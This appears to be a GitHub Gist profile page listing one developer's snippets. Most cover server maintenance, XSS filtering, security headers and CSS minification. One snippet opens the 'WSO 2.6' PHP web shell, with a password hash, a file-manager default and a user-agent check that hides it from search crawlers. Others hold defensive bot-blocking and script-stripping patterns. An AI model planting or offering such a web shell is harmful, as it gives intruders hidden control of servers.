Skip to content

Instantly share code, notes, and snippets.

View nawawi's full-sized avatar

Nawawi Jamili nawawi

View GitHub Profile
@nawawi
nawawi / database_size.sql
Last active August 29, 2015 14:25
sql syntax calculate size satu database
-- sql syntax calculate size satu database dalam byte
-- replace namadabase kepada real database name
SELECT sum( data_length + index_length ) as size FROM information_schema.TABLES where table_schema = 'namadatabase' GROUP BY table_schema
@nawawi
nawawi / rpm-digital-signature.sh
Last active August 29, 2015 14:26 — forked from fernandoaleman/rpm-digital-signature.sh
How to sign your custom RPM package with GPG key
# How to sign your custom RPM package with GPG key
# Step: 1
# Generate gpg key pair (public key and private key)
#
# You will be prompted with a series of questions about encryption.
# Simply select the default values presented. You will also be asked
# to create a Real Name, Email Address and Comment (comment optional).
#
# If you get the following response:
@nawawi
nawawi / clean-rpmdb.sh
Created August 3, 2015 06:19
clean yum cache and fix rpm database
#!/bin/bash
yum -y clean all
rm -f /var/lib/rpm/__db*
rpm --rebuilddb
yum -y update
exit 0;
/* WSO 2.6 (Web Shell by stealthers.in) made by Death Burner*/
$auth_pass = "df790633e08a4f758800728a652ffcfc";
$color = "#87CEEB";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
@nawawi
nawawi / badbot
Last active March 7, 2020 06:50
block bad bot apache+fail2ban
# file /etc/fail2ban/jail.conf
[rutweb-badbot]
enabled = true
filter = rutweb-badbot
action = iptables-multiport[name=badbot, port="80,443"]
logpath = /var/log/httpd/badbot.log
bantime = 600
maxretry = 1
# end file
@nawawi
nawawi / xss-protec.php
Last active September 11, 2015 19:18
simple xss protection
<?php
function _array_map_recursive($func, $arr) {
$new = array();
foreach($arr as $key => $value) {
$new[$key] = (is_array($value) ? _array_map_recursive($func, $value) : ( is_array($func) ? call_user_func_array($func, $value) : $func($value) ) );
}
return $new;
}
<IfModule mod_headers.c>
#Header set X-Frame-Options sameorigin
Header set X-Content-Type-Options nosniff
Header set X-XSS-Protection '1; mode=block'
Header set X-Permitted-Cross-Domain-Policies 'master-only'
Header set Content-Security-Policy 'report-uri /csp_report_parser;'
#Header set Cache-Control 'no-cache, no-store, must-revalidate'
#Header set Pragma 'no-cache'
#Header set Expires '-1'
Header set Cache-Control 'public, max-age=2592000'
@nawawi
nawawi / convert_ascii.php
Created March 13, 2016 06:15 — forked from jaywilliams/convert_ascii.php
This simple function will remove any non-ASCII character. Feel free to fork and extend!
<?php
/**
* Remove any non-ASCII characters and convert known non-ASCII characters
* to their ASCII equivalents, if possible.
*
* @param string $string
* @return string $string
* @author Jay Williams <myd3.com>
* @license MIT License
* @link http://gist.github.com/119517
@nawawi
nawawi / remove_script.php
Created March 26, 2016 11:41
remove script from html
function _noscript($str) {
if ( is_array($str) ) return $str;
$str = preg_replace(
array(
'#<\s*frameset[^>]*?>.*?<\s*/\s*frameset\s*>#si',
'#<\s*iframe[^>]*?>.*?<\s*/\s*iframe\s*>#si',
'#<\s*script[^>]*?>.*?<\s*/\s*script\s*>#si',
'#<\s*object[^>]*?>.*?<\s*/\s*object\s*>#si',
'#<\s*embed[^>]*?>.*?<\s*/\s*embed\s*>#si',
'#<\s*applet[^>]*?>.*?<\s*/\s*applet\s*>#si',
@nawawi
nawawi / cssmin-cli.php
Created August 30, 2016 04:47
cssmin-cli.php
#!/usr/bin/env php
<?php
/*!
* cssmin.php v2.4.8-4
* Author: Tubal Martin - http://tubalmartin.me/
* Repo: https://github.com/tubalmartin/YUI-CSS-compressor-PHP-port
*
* This is a PHP port of the CSS minification tool distributed with YUICompressor,
* itself a port of the cssmin utility by Isaac Schlueter - http://foohack.com/